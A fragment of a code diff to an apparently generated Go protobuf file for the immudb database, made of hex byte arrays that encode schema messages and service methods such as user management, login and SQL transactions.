0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, - 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, - 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, - 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, - 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, + 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, + 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, + 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, + 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, + 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, + 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, + 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, + 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, + 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, + 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, + 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, + 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, + 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, + 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, + 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, + 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, + 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, + 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, + 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, + 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, + 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, + 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, + 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, + 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, + 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, + 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, + 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, + 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, + 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, + 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, + 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, + 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, + 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, + 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, + 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, + 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, + 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, + 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, + 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, + 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, + 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, - 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, + 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, + 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, - 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, - 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, + 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, + 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 